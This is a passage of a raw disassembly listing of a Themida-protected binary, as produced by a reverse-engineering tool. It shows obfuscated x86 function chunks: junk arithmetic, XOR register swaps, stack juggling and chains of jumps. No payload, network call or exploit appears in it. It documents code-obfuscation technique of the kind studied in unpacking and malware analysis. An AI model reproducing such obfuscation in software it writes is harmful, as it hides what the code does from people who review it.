loc_56EF17: ; CODE XREF: sub_56F13C-E119j
xchg ecx, [esp+0]
pop esp
or edx, eax
shl edx, 1
sub esp, 4
mov [esp+0], ebx
sub esp, 4
mov [esp+4+var_4], ecx
push 537735F0h
jmp loc_568619
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_56EF35: ; CODE XREF: sub_5636A9+CC2Fj
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
jmp loc_55F40E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56EF3F: ; CODE XREF: sub_56E89A-11D7Dj
mov [esp+4+var_4], edx
jmp loc_56333A
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56EF47: ; CODE XREF: sub_55CD7B+6CB9j
xor esi, ecx
xor ecx, esi
xor esi, ecx
jmp loc_56034D
; END OF FUNCTION CHUNK FOR sub_55CD7B
; =============== S U B R O U T I N E =======================================
sub_56EF52 proc near ; CODE XREF: sub_56970A-B8F6j
push ebp
jmp loc_567BCF
sub_56EF52 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
loc_56EF58: ; CODE XREF: sub_56542E+6D20j
mov eax, esp
add eax, 4
add eax, 4
jmp loc_56925B
; END OF FUNCTION CHUNK FOR sub_56542E
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 4812h
mov [esp], ecx
push ebx
mov bh, 7Bh
and bh, 95h
sub bh, 69h
mov ch, bh
jmp loc_55DD61
; ---------------------------------------------------------------------------
loc_56EF84: ; CODE XREF: Themida_:0056178Dj
mov bx, 2ED8h
xor bx, cx
mov ecx, [esp]
push edi
jmp loc_5679F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_56EF94: ; CODE XREF: sub_56E75E-35EDj
add esi, 4
xchg esi, [esp+4+var_4]
jmp loc_56A212
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EF9F: ; CODE XREF: sub_56755A-250Dj
mov edi, 4
add esi, edi
pop edi
push esi
push [esp+10h+var_C]
jmp loc_56EFDC
; ---------------------------------------------------------------------------
loc_56EFB1: ; CODE XREF: sub_56755A+281Ej
mov [esp+4+var_4], eax
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56EFB9: ; CODE XREF: Themida_:0056481Cj
mov ecx, 0D7E0933h
not ecx
push edx
mov edx, 52D11CA9h
not edx
jmp loc_55EC26
; ---------------------------------------------------------------------------
loc_56EFCD: ; CODE XREF: Themida_:00569465j
add edx, ebp
jmp loc_55BCB2
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_56AACE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EFDC: ; CODE XREF: sub_56755A+7A52j
pop esi
pop [esp+10h+var_10]
pop esp
add esp, 4
push edi
mov edi, 114D352Ah
xor edi, 60B35F69h
jmp loc_5601EF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56EFF5: ; CODE XREF: Themida_:005646CBj
mov edi, 0DD71A827h
add edi, ecx
mov ecx, [esp]
add esp, 4
and edi, 7A0F7DC2h
not edi
xor edi, 0E1C3CC77h
xor ecx, edi
pop edi
mov esi, ecx
pop ecx
dec esi
push esi
not dword ptr [esp]
pop esi
push 2377h
jmp loc_564BDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_56F029: ; CODE XREF: sub_562F50+C7A4j
and ebp, 702C700Ch
xor ebp, 138D0F09h
sub edx, ebp
pop ebp
xor edx, 0C1107EEh
jmp loc_55FCE1
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F043: ; CODE XREF: sub_56755A-AB78j
push esi
mov esi, esp
add esi, 4
push edi
push edx
jmp loc_5684C0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56F053: ; CODE XREF: sub_56E89A-CF67j
push edx
push 2ED4618Ah
jmp loc_55E110
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F05E: ; CODE XREF: sub_56755A-824Bj
pop esp
push eax
mov eax, esp
jmp loc_568F43
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F067: ; CODE XREF: Themida_:005656CCj
sub esp, 4
mov [esp], edx
mov edx, 3B25094Ah
xor ebx, edx
pop edx
jmp loc_56B64E
; ---------------------------------------------------------------------------
loc_56F07D: ; CODE XREF: Themida_:0056C66Dj
dec ebp
xor ebp, 74B85F8Bh
jmp loc_567D0D
; ---------------------------------------------------------------------------
push esi
push eax
mov eax, esp
add eax, 4
jmp loc_566790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F097: ; CODE XREF: sub_56755A-119Ej
pop edx
add ebp, 14C0327Bh
sub ebp, 473D55B5h
add ebp, edi
push esi
mov esi, 473D55B5h
add ebp, esi
pop esi
push edx
mov edx, 14C0327Bh
sub ebp, edx
pop edx
pop edi
add ebp, 4
jmp loc_56BC2A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F0C1: ; CODE XREF: Themida_:00561FCEj
and ecx, 5C8F1213h
xor ecx, 50E32393h
add ebx, ecx
pop ecx
sub ebx, 2CED07E7h
add ebx, 422E66BBh
jmp loc_56C2DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F0E1: ; CODE XREF: sub_56755A-90Fj
add edx, esi
jmp loc_56340D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C65
loc_56F0E8: ; CODE XREF: sub_566C65-7BC8j
push edi
push edi
mov edi, 6BE471CDh
sub [esp+10h+var_C], edi
pop edi
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_56B895
; END OF FUNCTION CHUNK FOR sub_566C65
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ebx
mov ebx, 707519C3h
push edx
mov edx, 7AAA178Fh
sub ebx, edx
pop edx
jmp loc_5705B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F185
loc_56F116: ; CODE XREF: sub_55F185+17j
add eax, 42E97ADEh
pop ebx
xor eax, 4DA140FFh
xor eax, 58452795h
push esi
mov esi, 1F25158h
jmp loc_56A171
; END OF FUNCTION CHUNK FOR sub_55F185
; ---------------------------------------------------------------------------
loc_56F131: ; CODE XREF: Themida_:0056F185j
sub eax, 2592CA1h
pop ecx
jmp loc_55FD2B
; =============== S U B R O U T I N E =======================================
sub_56F13C proc near ; CODE XREF: sub_56755A+6CAEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055FE04 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056100B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005617A6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00565561 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565654 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566881 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568619 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056B310 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ED89 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EF17 SIZE 0000001E BYTES
push ebx
mov ebx, 7B015450h
and eax, ebx
jmp loc_566881
sub_56F13C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F149: ; CODE XREF: sub_56755A+2626j
push 526Dh
jmp loc_55C652
; ---------------------------------------------------------------------------
loc_56F153: ; CODE XREF: sub_56755A+5EBCj
xchg ebx, [esp+8+var_8]
jmp loc_563413
; ---------------------------------------------------------------------------
loc_56F15B: ; CODE XREF: sub_56755A+2865j
and ebx, edi
pop edi
push eax
mov eax, 15753789h
jmp loc_56938D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_56F169: ; CODE XREF: sub_55FDEF-F48j
push eax
mov eax, esp
push esi
jmp loc_55D447
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_56F172: ; CODE XREF: Themida_:00560543j
xor edi, 9DFD7BA7h
push edi
pop esi
pop edi
xor ecx, esi
pop esi
add eax, 2592CA1h
add eax, ecx
jmp loc_56F131
; ---------------------------------------------------------------------------
loc_56F18A: ; CODE XREF: Themida_:005628FAj
mov esi, 2616706Eh
jmp loc_5605E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56F194: ; CODE XREF: sub_56F653-10949j
sub ebp, 1BC70228h
dec ebp
xor ebp, 0C14596BBh
xor eax, ebp
pop ebp
sub ebp, 0BCE2793h
add ebp, eax
add ebp, 0BCE2793h
mov eax, [esp+4+var_4]
add esp, 4
jmp sub_55D71E
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F1C0: ; CODE XREF: sub_56755A+649Bj
push esp
pop eax
add eax, 4
jmp loc_566B70
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56F1CC: ; CODE XREF: sub_55CD7B+6856j
pop edx
pop [esp+0Ch+var_C]
pop esp
push ebx
push esp
jmp loc_56236B
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F1D8: ; CODE XREF: sub_56755A-BE23j
sub cl, al
mov eax, [esp+8+var_8]
jmp loc_569155
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DE37
loc_56F1E2: ; CODE XREF: sub_55DE37+85BEj
sub eax, 4
xchg eax, [esp-8+arg_4]
pop esp
mov [esp-0Ch+arg_8], edx
push edx
mov edx, esp
add edx, 4
jmp sub_5672A7
; END OF FUNCTION CHUNK FOR sub_55DE37
; ---------------------------------------------------------------------------
loc_56F1FA: ; CODE XREF: Themida_:0055C2D9j
pop edx
add ebx, 0BCEBE52h
add ecx, 27E11AE0h
sub ecx, ebx
sub ecx, 27E11AE0h
pop ebx
push edx
mov edx, 67BD35B6h
sub edx, 4D1C2CA3h
add edi, edx
pop edx
add edi, ecx
sub edi, 1AA10913h
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_56C681
; ---------------------------------------------------------------------------
loc_56F238: ; CODE XREF: Themida_:00562332j
xor edx, 53C614CEh
add edx, 2B93170Ah
push 3AEDh
mov [esp], ebx
push edi
mov edi, 21054D8h
jmp loc_55ED6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562FB2
loc_56F257: ; CODE XREF: sub_562FB2+152Cj
mov esi, 7B9F4FDDh
or eax, esi
pop esi
jmp sub_55F185
; END OF FUNCTION CHUNK FOR sub_562FB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F264: ; CODE XREF: sub_56755A+E7j
mov esp, [esp+0]
jmp loc_56FD32
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F861
loc_56F26C: ; CODE XREF: sub_55F861-3EABj
pop esp
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_55F861
; ---------------------------------------------------------------------------
loc_56F272: ; CODE XREF: Themida_:0056D4EAj
push 2DF752F7h
pop edx
sub edx, 0D0593CF3h
jmp loc_564060
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F283: ; CODE XREF: sub_56755A+7F47j
inc ecx
and ecx, 4DF07EE3h
jmp loc_5604C8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56F28F: ; CODE XREF: sub_56E89A-DBF5j
push edi
mov edi, 2FE63D8Ch
not edi
jmp loc_5640A5
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56F29C: ; CODE XREF: Themida_:00566DC1j
mov [esp], ecx
mov cl, ah
mov bh, cl
jmp loc_563C94
; ---------------------------------------------------------------------------
loc_56F2A8: ; CODE XREF: Themida_:0056A59Dj
sub bl, 5Eh
add bl, al
add bl, 5Eh
pop eax
sub bl, dh
push eax
jmp loc_55FC4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F2B9: ; CODE XREF: sub_56755A+A76j
or edx, 62B97D18h
add edx, 0E424F2DFh
mov eax, edx
jmp loc_5615E5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F2CC: ; CODE XREF: Themida_:00565C7Bj
push 2869h
mov [esp], edx
mov edx, 5636F92h
add edx, 1
add edx, 0FFFFFFFFh
push eax
mov eax, 6D5F3B6Dh
dec eax
not eax
shl eax, 3
jmp loc_55D4BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F2F3: ; CODE XREF: sub_56755A+8FE2j
push ecx
jmp loc_5677BB
; ---------------------------------------------------------------------------
loc_56F2F9: ; CODE XREF: sub_56755A-9DE5j
pop ecx
neg dh
push ecx
mov ch, 0D0h
dec ch
jmp loc_55E7E7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F306: ; CODE XREF: Themida_:0055FDCFj
mov [esp], esi
mov esi, 63B80A27h
jmp loc_56ED19
; ---------------------------------------------------------------------------
loc_56F313: ; CODE XREF: Themida_:0056EB6Cj
add esp, 4
jmp loc_56C627
; ---------------------------------------------------------------------------
loc_56F31E: ; CODE XREF: Themida_:0056DF41j
push 6DCh
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push 761Ah
jmp loc_570640
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F348: ; CODE XREF: sub_56755A-2851j
xor edx, 8292449Ah
xor ebx, edx
pop edx
jmp loc_563879
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F356: ; CODE XREF: Themida_:00566BA9j
push ecx
mov ecx, 2C953F35h
mov ebp, ecx
pop ecx
xchg eax, ebp
not eax
jmp loc_55FCA4
; ---------------------------------------------------------------------------
loc_56F367: ; CODE XREF: Themida_:0056BB46j
mov ebp, [esp]
add esp, 4
jmp loc_55E17E
; ---------------------------------------------------------------------------
loc_56F372: ; CODE XREF: Themida_:0056F609j
push 42C2h
mov [esp], ecx
jmp loc_566F51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643BC
loc_56F37F: ; CODE XREF: sub_5643BC+C40Aj
or ebp, edx
jmp loc_56EEB1
; END OF FUNCTION CHUNK FOR sub_5643BC
; ---------------------------------------------------------------------------
loc_56F386: ; CODE XREF: Themida_:0056EDF6j
sub ecx, 16A91ABBh
pop ebx
push 70CEh
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_56339D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F3A3: ; CODE XREF: sub_56755A-97A9j
mov edx, ebx
pop ebx
push eax
jmp loc_5624CC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
dd 24048B66h, 0E904EC83h, 0FFFF2A27h
; ---------------------------------------------------------------------------
loc_56F3B8: ; CODE XREF: Themida_:0056077Bj
add esi, 332F09E9h
inc esi
sub esi, 1EEEE944h
add ebx, esi
pop esi
sub ebx, 25A45785h
add ebx, edi
add ebx, 25A45785h
sub ebx, 505861F2h
push dword ptr [esp]
jmp loc_55B643
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F3E4: ; CODE XREF: sub_56755A+397j
push edi
push esi
mov esi, 22ED51BFh
add esi, 3AD15DB8h
jmp loc_55FB67
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565CEF
loc_56F3F6: ; CODE XREF: sub_565CEF-6986j
pop ebp
push 116Ch
mov [esp+4+var_4], esi
jmp loc_564467
; END OF FUNCTION CHUNK FOR sub_565CEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_56F404: ; CODE XREF: sub_566FBB+5CC1j
mov [esp+8+var_8], edx
pop ebp
pop edx
jmp loc_56A188
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push 5291h
jmp loc_5603C3
; ---------------------------------------------------------------------------
loc_56F41C: ; CODE XREF: Themida_:0056CA3Bj
mov esi, esp
add esi, 4
jmp loc_562A2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F429: ; CODE XREF: sub_56755A+6017j
inc edx
jmp loc_569368
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
lodsd
push esi
mov esi, 2EE743B0h
not esi
inc esi
sub esi, 0CD27A065h
add eax, esi
mov esi, [esp]
jmp loc_56AECF
; ---------------------------------------------------------------------------
loc_56F449: ; CODE XREF: Themida_:0056A075j
pop edx
jmp loc_569409
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_56880E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_56F45A: ; CODE XREF: sub_561ED8+5299j
sub dl, 64h
inc dl
push small 0
jmp loc_56CA29
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
loc_56F468: ; CODE XREF: Themida_:00561415j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add esp, 4
add edi, 4
push 54EEh
mov [esp], eax
mov eax, 4
add edi, eax
pop eax
jmp loc_55E71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F499: ; CODE XREF: sub_56755A+25Cj
mov ecx, edi
mov edi, [esp+16h+var_18+2]
add esp, 4
jmp loc_56F283
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F4A6: ; CODE XREF: Themida_:0056ECB9j
movsx cx, al
push small 6C8Eh
mov [esp], cx
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56F4B7: ; CODE XREF: sub_56F653-13C5Fj
sub bl, 0D1h
push eax
mov al, 8Bh
shl al, 1
shl al, 2
add al, 96h
sub bl, al
jmp loc_56330A
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_56F4CB: ; CODE XREF: Themida_:00560C1Bj
mov [esp], eax
mov ah, 0FDh
neg ah
jmp loc_566EB3
; ---------------------------------------------------------------------------
loc_56F4D7: ; CODE XREF: Themida_:005612B3j
sub esp, 4
mov [esp], edx
mov dh, 0F6h
push ecx
mov cl, 18h
push eax
mov al, 0BAh
shr al, 2
xor al, 0D9h
xor al, 0E2h
jmp loc_563019
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F4F4: ; CODE XREF: sub_56755A+6E6Dj
mov [esp-1Ch+arg_18], esi
mov esi, 56927473h
xchg ecx, esi
push esi
jmp loc_5627D9
; ---------------------------------------------------------------------------
loc_56F504: ; CODE XREF: sub_56755A-57F2j
mov [esp+0Ch+var_C], ecx
mov ecx, 2E122A85h
or ecx, 4EC32665h
add ecx, 1
not ecx
neg ecx
jmp loc_56C602
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F521: ; CODE XREF: Themida_:0055C98Ej
sub eax, ebx
jmp loc_564EC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565996
loc_56F528: ; CODE XREF: sub_565996+80A5j
sub eax, 69D144FDh
add eax, esi
add eax, 69D144FDh
jmp loc_566C02
; END OF FUNCTION CHUNK FOR sub_565996
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F539: ; CODE XREF: sub_56755A+6BD3j
mov ch, 0B2h
add bl, 29h
sub bl, 8Ah
add bl, ch
add bl, 8Ah
push 6821h
mov [esp-4+arg_0], edx
mov dh, 29h
sub bl, 7Ch
sub bl, dh
add bl, 7Ch
jmp loc_56B875
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_56F55D: ; CODE XREF: sub_5636A9-69A4j
or bl, 79h
add bl, 99h
xor bl, 66h
mov ah, bl
jmp loc_55C7E2
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_56F56D: ; CODE XREF: sub_565C4A-9E9Bj
add esp, 4
push eax
jmp loc_56EC61
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
loc_56F576: ; CODE XREF: Themida_:0056F61Aj
neg ebp
xor ebp, 0FBDEEE02h
add esi, ebp
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_570278
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_56F58F: ; CODE XREF: sub_55DA88+1791j
xor eax, 3F3568F9h
and eax, 12282AB7h
xor eax, 0A34C242h
add edx, eax
pop eax
mov eax, edx
jmp loc_56FC86
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F5A8: ; CODE XREF: sub_56755A-3654j
add ebp, 4
xchg ebp, [esp+28h+var_28]
pop esp
xor ebx, [esp+24h+var_24]
xor [esp+24h+var_24], ebx
xor ebx, [esp+24h+var_24]
mov esp, [esp+24h+var_24]
mov ax, word ptr [esp+24h+var_24]
jmp sub_56EBD2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_56F5C4: ; CODE XREF: sub_55D71E-6F0j
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
jmp loc_5665B2
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F5CF: ; CODE XREF: sub_56755A-A46Ej
add edx, ebx
mov ebx, [esp+20h+var_20]
add esp, 4
add edx, 4
xor edx, [esp+1Ch+var_1C]
xor [esp+1Ch+var_1C], edx
xor edx, [esp+1Ch+var_1C]
mov esp, [esp+1Ch+var_1C]
add ax, 6CABh
add ax, di
jmp loc_56CD60
; ---------------------------------------------------------------------------
loc_56F5F8: ; CODE XREF: sub_56755A+57E9j
xor eax, edi
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_56B176
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F608: ; CODE XREF: Themida_:005629B8j
pop ebx
jmp loc_56F372
; ---------------------------------------------------------------------------
loc_56F60E: ; CODE XREF: Themida_:0056D77Ej
sub ebp, 54771FFCh
and ebp, 142B7350h
jmp loc_56F576
; ---------------------------------------------------------------------------
loc_56F61F: ; CODE XREF: Themida_:0056E1EBj
mov ecx, 7040D86h
push ebx
mov ebx, 62A135EAh
or ecx, ebx
pop ebx
sub ecx, 0FFFFFFFFh
shr ecx, 5
jmp loc_56051E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D65
loc_56F63B: ; CODE XREF: sub_560D65-5A8j
add eax, 44630BD8h
sub eax, ebx
jmp loc_55E0BB
; END OF FUNCTION CHUNK FOR sub_560D65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F647: ; CODE XREF: sub_56755A-B462j
dec eax
push edx
mov edx, 258E679Dh
jmp loc_567F65
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56F653 proc near ; CODE XREF: sub_56C64C-10B8Cj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055B9ED SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055BB39 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055DDD3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055EC0A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055ECF4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055F5AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005601FA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561D7A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056330A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564457 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005658F8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567138 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005688A5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005689E7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568BA5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005693A5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00569F8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A3D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056AA23 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B382 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0056C747 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056CEB9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056D851 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056E26B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E2E8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F194 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056F4B7 SIZE 00000014 BYTES
push ebx
mov bh, 2Ah
inc bh
jmp loc_56D851
sub_56F653 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F65D: ; CODE XREF: sub_56755A+54BAj
pop edi
sub [esp+1Ah+var_18+2], ecx
pop ecx
mov eax, [esp+16h+var_18+2]
push ebp
jmp loc_55B90C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F66C: ; CODE XREF: Themida_:0056ECF0j
or [esp], eax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562272
loc_56F675: ; CODE XREF: sub_562272-5B66j
mov edi, 70FF44F9h
sub esp, 4
mov [esp+0Ch+var_C], edx
mov edx, 427D3591h
push edi
mov edi, 77792522h
dec edi
not edi
sub edi, 51423D6Ch
shr edi, 1
jmp loc_566A89
; END OF FUNCTION CHUNK FOR sub_562272
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_56F69E: ; CODE XREF: sub_56B774-31AAj
add ebx, 1F8406A5h
shl ebx, 4
shr ebx, 1
sub ebx, 1E194F68h
xor ebx, 0B5CF8E2Bh
sub eax, ebx
pop ebx
add ebx, eax
mov eax, [esp+0Ch+var_C]
jmp loc_56329A
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F6C2: ; CODE XREF: sub_56755A-BD59j
add esi, 407648C5h
push ecx
mov ecx, 399B519Ch
jmp loc_561230
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F6D3: ; CODE XREF: Themida_:0056A6D8j
add ecx, 4
sub ecx, 4
jmp loc_560C11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F6E4: ; CODE XREF: sub_56755A-387Bj
push 73C4h
jmp loc_55CB6F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_56F6EE: ; CODE XREF: sub_562F50+D0B8j
xor ebp, 52306B31h
jmp loc_56F029
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
loc_56F6F9: ; CODE XREF: Themida_:0055F698j
inc eax
shl eax, 7
shl eax, 3
add eax, 0DFFFE004h
add esi, eax
mov eax, [esp]
jmp loc_55C9FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F70F: ; CODE XREF: sub_56755A+4FEj
mov [esp+4+var_4], ebx
mov ebx, 4BDA1D67h
jmp loc_55CD9B
; END OF FUNCTION CHUNK FOR sub_56755A
